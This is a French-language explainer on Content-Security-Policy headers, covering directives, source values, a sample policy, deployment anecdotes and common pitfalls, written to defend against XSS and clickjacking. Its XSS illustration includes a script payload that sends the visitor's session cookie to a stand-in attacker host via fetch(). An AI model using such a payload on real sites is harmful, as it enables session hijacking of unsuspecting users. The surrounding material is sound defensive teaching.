En une phrase
La Content-Security-Policy (CSP) est une norme de sécurité, transmise via un en-tête HTTP, qui indique au navigateur quelles sources de contenu (comme les scripts, les images et les styles) sont fiables et peuvent être chargées. En gros, elle agit comme un videur à l'entrée pour bloquer les injections malveillantes.
Le problème que ça résout
Au début du web, à l'époque du Far West, la sécurité était un peu une réflexion après coup. L'un des méchants les plus vicieux à avoir émergé fut le Cross-Site Scripting, ou XSS. En bref, le XSS est une attaque où un acteur malveillant réussit à injecter son propre code malveillant (généralement du JavaScript) dans un site web en qui vous avez confiance.
Imaginez un blog avec une section de commentaires. Vous, en tant que développeur, construisez le site avec soin. Mais vous loupez un tout petit bug dans la façon dont vous affichez les commentaires. Un attaquant arrive et, au lieu d'écrire « Super article ! », il soumet un commentaire comme celui-ci :
<script>
// Vole le cookie de session de l'utilisateur connecté
fetch('https://serveur-malveillant-de-l-attaquant.com/steal?cookie=' + document.cookie);
</script>
Désormais, chaque autre utilisateur qui consulte cet article de blog verra son navigateur exécuter ce script. Comme le script s'exécute sur le domaine de votre blog, il a accès à tout ce à quoi un script légitime aurait accès, comme les cookies de session de l'utilisateur. L'attaquant peut maintenant détourner sa session et se faire passer pour lui. Aïe.
Pendant des années, la seule défense était de nettoyer méticuleusement chaque morceau de donnée utilisateur. On appelle ça la « validation des entrées et l'encodage des sorties », et c'est toujours d'une importance capitale. Mais c'est aussi incroyablement difficile à faire parfaitement, 100% du temps. Un petit faux pas, et vous êtes vulnérable.
La CSP est née du besoin d'une « défense en profondeur ». L'idée est simple : et si le serveur pouvait dire au navigateur : « Hé, je sais que je suis censé être parfait, mais au cas où j'aurais foiré un truc et laissé passer un script malveillant, je veux que tu appliques quelques règles pour moi. N'exécute que les scripts qui viennent de mon propre domaine, mon-app.com, et de Google Analytics. Si tu vois un script d'une autre source, bloque-le et préviens-moi. »
Voilà ce qu'est la CSP. C'est une deuxième ligne de défense qui opère directement dans le navigateur de l'utilisateur, le transformant de victime passive en agent de sécurité actif.
Comment ça marche sous le capot
La CSP n'est pas magique ; c'est juste une chaîne de caractères envoyée dans un en-tête de réponse HTTP. Les deux principaux en-têtes sont :
Content-Security-Policy: Applique la politique. Si une ressource viole la politique, elle est bloquée.Content-Security-Policy-Report-Only: Un mode de « test à blanc ». Il signale les violations mais ne bloque rien, ce qui est une bénédiction pour tester et déployer une nouvelle politique sans casser votre site.
La valeur de l'en-tête est une série de directives, chacune se terminant par un point-virgule. Une directive se compose d'un nom et d'une liste de sources autorisées.
Directives courantes
Pensez aux directives comme à des catégories de contenu que vous voulez contrôler.
| Directive | Contrôle... | Ce que ça couvre |
|---|---|---|
default-src |
La solution de repli | La liste de sources par défaut pour la plupart des autres directives -src si elles ne sont pas spécifiées. À définir en premier ! |
script-src |
Les scripts | Les sources JavaScript, y compris les balises script, les gestionnaires en ligne (onclick), etc. Le gros morceau contre le XSS. |
style-src |
Les feuilles de style | Les fichiers CSS, les balises style et les attributs style en ligne. |
img-src |
Les images | Les balises <img>, les favicons, etc. |
connect-src |
Les connexions | Les URL pour fetch(), XMLHttpRequest, WebSocket, etc. Avec quoi votre front-end a-t-il le droit de discuter ? |
font-src |
Les polices | Les polices web chargées via @font-face. |
frame-src |
Les frames | Les sources pour les éléments <iframe> et <frame>. |
report-uri |
Les rapports | (Obsolète mais courant) Une URL où le navigateur envoie des rapports JSON sur les violations de la politique. |
report-to |
Les rapports | Le remplaçant moderne de report-uri, qui utilise la Reporting API. |
Valeurs de source courantes
Pour chaque directive, vous spécifiez d'où le contenu est autorisé à provenir.
| Source | Signification | Exemple |
|---|---|---|
'self' |
La même origine | Autorise le contenu provenant du même domaine, protocole et port que le document. |
'none' |
Rien | Bloque tout le contenu pour cette directive. object-src 'none' est une très bonne idée. |
example.com |
Un hôte spécifique | Autorise le contenu provenant de example.com. |
*.example.com |
Hôte avec un joker (wildcard) | Autorise le contenu de n'importe quel sous-domaine de example.com. À utiliser avec précaution ! |
https: |
Un protocole (scheme) | Autorise le contenu de n'importe quelle source via HTTPS. |
'unsafe-inline' |
Code en ligne (inline) | Autorise les balises <script> et <style> en ligne, ainsi que les attributs style ou onclick. À éviter si possible ! |
'unsafe-eval' |
Code dynamique | Autorise les fonctions d'évaluation de chaînes de caractères comme eval(). Un risque de sécurité majeur. |
'nonce-...' |
Un nonce cryptographique | Autorise un script en ligne si son attribut nonce correspond à celui de l'en-tête. Génial pour utiliser de manière sécurisée des scripts en ligne spécifiques. |
'sha256-...' |
Un hash | Autorise un script ou un style en ligne si son hash SHA256 correspond à celui de l'en-tête. |
Mettons tout ça ensemble
Jetons un œil à une politique réaliste pour une application web moderne :
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.my-analytics.com 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa';
style-src 'self' 'unsafe-inline';
img-src 'self' data: https://images.my-app.com;
connect-src 'self' https://api.my-app.com;
font-src 'none';
object-src 'none';
frame-ancestors 'none';
report-to csp-endpoint;
Décortiquons ça :
default-src 'self': Par défaut, on n'autorise que les ressources de notre propre origine.script-src ...: On autorise les scripts de notre origine, de notre fournisseur d'analytique, et tout script en ligne qui possède la valeur denoncespécifique. Le serveur générerait un nouveau nonce aléatoire pour chaque chargement de page.style-src 'self' 'unsafe-inline': On autorise les feuilles de style de notre origine. Le'unsafe-inline'suggère qu'on a peut-être du code legacy qui injecte des attributsstyle, ce qui est une situation courante (mais pas idéale).img-src ...: Les images peuvent provenir de notre origine, en tant qu'URIdata:, ou de notre CDN d'images dédié.connect-src ...: Notre JavaScript front-end n'est autorisé à faire des appels API qu'à notre propre origine et àapi.my-app.com.font-src 'none',object-src 'none': On n'utilise pas de polices personnalisées ou de plugins comme Flash, donc on les bloque complètement.frame-ancestors 'none': Ceci empêche d'autres sites de mettre notre site dans une<iframe>, ce qui bloque les attaques de type clickjacking.report-to csp-endpoint: Envoyer les rapports de violation au point de terminaison (endpoint) de reporting nommécsp-endpoint(configuré ailleurs).
Histoires vécues
Le voleur de données sur le site e-commerce
Une boutique en ligne de taille moyenne a ajouté un widget de chat tiers sur son site pour aider le service client. Ils ont ajouté le domaine du widget à leur directive script-src et pensaient être en sécurité. Ce qu'ils ne savaient pas, c'est que l'entreprise du widget de chat s'est elle-même fait pirater, et un attaquant a modifié le fichier de script du widget. La nouvelle version malveillante a ratissé la page de paiement pour voler les numéros de carte de crédit. Parce que la CSP du magasin faisait confiance au domaine source, le script malveillant a été chargé et exécuté sans problème pendant des semaines.
Leçon : Votre CSP est une chaîne de confiance. Quand vous autorisez un domaine tiers, vous ne faites pas seulement confiance à cette entreprise ; vous faites confiance à leur sécurité, à leur pipeline de déploiement, et à toutes leurs dépendances. La Subresource Integrity (SRI) est un autre outil qui peut aider à atténuer ce risque spécifique.
Le déploiement progressif
Un grand groupe de médias voulait mettre en place une CSP stricte sur son site d'actualités à fort trafic. Ils savaient que le déployer d'un seul coup pourrait casser les pubs, les vidéos et d'innombrables autres fonctionnalités. Au lieu de passer en production directement, ils ont déployé une politique en mode Content-Security-Policy-Report-Only. Pendant deux semaines, ils se sont contentés de collecter des données. Leur endpoint report-uri était inondé de milliers de rapports par heure. Ils ont canalisé ces rapports dans une base de données et ont construit un tableau de bord montrant les ressources les plus fréquemment bloquées et les pages où elles l'étaient. Ils ont découvert des dizaines de vieux scripts de tracking oubliés, de domaines de régies publicitaires et de dépendances de lecteurs vidéo. Systématiquement, ils ont soit supprimé les anciennes ressources, soit ajouté les ressources légitimes à la liste blanche (whitelist) de leur politique. Après un mois d'affinage, ils sont passés en mode application forcée. Rien n'a cassé.
Leçon : Ne naviguez pas à l'aveugle. Utilisez le mode Report-Only comme votre copilote. Il vous permet de construire une politique parfaite et adaptée au monde réel, basée sur le trafic réel des utilisateurs, transformant une tâche de sécurité terrifiante en un problème d'analyse de données gérable.
La menace des extensions de navigateur
Un employé d'une société financière utilisait une extension de navigateur populaire qui « embellissait » les pages web en y injectant son propre CSS et JavaScript. Sur la plupart des sites, c'était inoffensif. Mais quand il s'est connecté au portail financier interne de l'entreprise, le site refusait de fonctionner correctement. Perplexe, il a appelé le support informatique. Un développeur a regardé la console du navigateur et a vu un flot d'erreurs de violation de CSP : le portail bloquait l'injection des scripts et des styles de l'extension. La CSP stricte du portail, qui n'autorisait les scripts et les styles que depuis 'self', avait correctement identifié le code de l'extension comme une ressource étrangère non fiable et l'avait bloqué. Elle a empêché une fuite de données potentielle provenant d'une extension bien intentionnée mais intrusive.
Leçon : Une CSP solide protège vos utilisateurs non seulement de vos propres bugs potentiels, mais aussi des menaces au sein de leur propre environnement de navigation, comme les extensions malveillantes ou trop permissives.
Erreurs et pièges courants
- Se reposer sur
'unsafe-inline'. C'est le piège le plus courant. Les développeurs rencontrent des problèmes avec de vieux gestionnaires d'événementsonclickou des balises<script>en ligne et se jettent sur'unsafe-inline'comme solution de facilité. Cela ré-ouvre un énorme vecteur pour les attaques XSS. La meilleure approche est de refactoriser le code pour utiliseraddEventListenerou, si vous devez absolument avoir un script en ligne, d'utiliser un nonce ou un hash pour l'inscrire spécifiquement sur la liste blanche. - Oublier
default-src. Si vous ne définissez quescript-srcetstyle-src, vous laissez d'autres vecteurs d'attaque ouverts. Qu'en est-il des balises<object>? Ou des workers ? Commencez toujours par une directive restrictivedefault-src 'self'oudefault-src 'none'et n'ouvrez que ce dont vous avez besoin, directive par directive. - Mettre en place le reporting sans jamais le consulter. Un
report-uriqui pointe vers une impasse est inutile. Les rapports de violation sont votre système d'alerte précoce. Ils peuvent vous alerter d'une nouvelle attaque XSS dans la nature ou vous dire qu'un déploiement récent a cassé une fonctionnalité légitime pour un sous-ensemble d'utilisateurs. Vous devez avoir un processus pour ingérer, agréger et examiner ces rapports. - Utiliser des wildcards trop permissifs. Il est tentant d'utiliser
script-src https://*.some-cdn.com, mais cela pourrait permettre à un attaquant de charger un script depuishttps://compte-utilisateur-malveillant.some-cdn.com. Soyez aussi précis que possible avec vos noms d'hôtes. - Ignorer
frame-ancestors. Le XSS attire toute l'attention, mais le clickjacking est une autre menace bien réelle. Un attaquant peut charger votre site dans une<iframe>transparente par-dessus son propre site malveillant et tromper les utilisateurs pour qu'ils cliquent sur des boutons de votre site.frame-ancestors 'none'ouframe-ancestors 'self'est une défense simple et puissante qui est souvent oubliée.
Pourquoi vous devriez vous y intéresser
Vous devriez penser à la CSP si vous...
- Développez une application web qui gère des connexions d'utilisateurs, des données personnelles ou des informations de paiement.
- Affichez du contenu soumis par des utilisateurs (commentaires, profils, messages de forum).
- Intégrez plusieurs scripts tiers comme des outils d'analytique, des pubs, des widgets de support ou des gestionnaires de balises (tag managers).
- Voulez une posture de sécurité robuste, moderne et basée sur la défense en profondeur pour tout projet web non trivial.
Bref, si vous êtes un développeur web au 21e siècle, la CSP devrait faire partie intégrante de votre boîte à outils. Ce n'est plus une fonctionnalité exotique pour les ultra-paranoïaques ; c'est un élément fondamental de la sécurité front-end.
Pour aller plus loin
- MDN Web Docs : Content Security Policy (CSP) - Le guide pratique et la référence ultime.
- W3C Content Security Policy Level 3 - La spécification officielle. C'est dense, mais c'est la source de vérité.
- Google's Web Fundamentals on CSP - Une excellente introduction de haut niveau avec des conseils pratiques.
- report-uri.com - Un service pour la collecte de rapports CSP, géré par l'expert en sécurité Scott Helme, dont le blog est également une ressource incroyable sur le sujet.
- OWASP Cheat Sheet: Content Security Policy - Les meilleures pratiques axées sur la sécurité, par l'Open Web Application Security Project.